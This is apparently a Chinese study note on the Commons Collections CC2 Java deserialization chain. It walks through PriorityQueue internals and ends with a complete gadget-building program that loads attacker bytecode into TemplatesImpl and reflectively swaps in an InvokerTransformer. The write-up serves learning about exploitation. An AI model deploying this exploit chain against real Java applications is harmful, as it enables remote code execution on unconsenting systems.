CC2链
CC2攻击链分析
add流程解析
之前这里没有搞明白,这次这里动态调试了一下,发现应该是差不多了,回来补一下
在这里add之后进行了下列操作,就是将add的元素,放入了queue数组中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 priorityQueue.add(templates); public boolean add (E e) { return offer(e); } public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
这里的grow方法其实无关紧要,if判断中的queue.length在默认情况下是11,grow方法的作用就是 // Double size if small; else grow by 50%
,就是如果i大于等于这个长度时,就会扩大这个队列的长度
1 2 3 4 5 6 7 8 9 10 11 private void grow (int minCapacity) { int oldCapacity = queue.length; int newCapacity = oldCapacity + ((oldCapacity < 64 ) ? (oldCapacity + 2 ) : (oldCapacity >> 1 )); if (newCapacity - MAX_ARRAY_SIZE > 0 ) newCapacity = hugeCapacity(minCapacity); queue = Arrays.copyOf(queue, newCapacity); }
上面siftUp
方法的代码如下,当队列不为空时,会根据comparator的情况调用不同的方法,但是两者大致的情况就是,将传入的参数和队列中数据进行比较,然后进行排序(大概是这样)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); } private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; } private void siftUpComparable (int k, E x) { Comparable<? super E> key = (Comparable<? super E>) x; while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (key.compareTo((E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = key; }
反序列化流程分析
这里大家可以看到heapify,它调用了siftDown(i, (E) queue[i]),我们传入两个参数,所以size为2,二进制右移一位后就为0,所以这里只能遍历到queue[0]
接下来调用的siftDown中的x就是templates
最后在siftDownUsingComparator中的if (comparator.compare(x, (E) c) <= 0)
,第一次遍历时相当于调用了TransformingComparator.compare(queue[0],queue[1])
,也就调用了invoketransform.transform(templates)
,调用了templates的newTransformer方法,这里就和前面接上了
这里的k<half,有点二分查找的感觉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 heapify(); private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
代码替换
下面是cc2链与cc4链存在差异的代码,可以看出,cc2相比于cc4,少了ChainedTransformer
这个类的使用
且cc2存在着cc1的老问题,已经不想多说了,还是构造时传入无用的东西,反射修改回来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(1 ); serialize(priorityQueue); unserialize("ser.bin" ); } public static void main (String[] args) throws Exception { InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class<? extends TransformingComparator > aClass = transformingComparator.getClass(); Field transformer = aClass.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin" ); }
最终代码
进行比较是,我们的templates应第一个add进去
因为在对第一个对象进行transform方法调用时,我们传入的Integer
类型,无 newTransformer
方法,报错导致后面的templates.transform
无法执行
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
最终代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); priorityQueue.add(templates); priorityQueue.add(1 ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin" ); }
自己的思考
之前说(下面),我在想,若传入一个存在`newTransformer`方法的类,是否也可以使恶意代码执行
找的过程很艰难,存在该方法的没有继承Serializable
接口,且在add方法时,就会触发newTransformer
方法,报错导致后续代码无法执行,因此尝试反射修改,但是这里失败了,因为queue有transient修饰,不带入序列化数据中
就这样结束了
1 transient Object[] queue;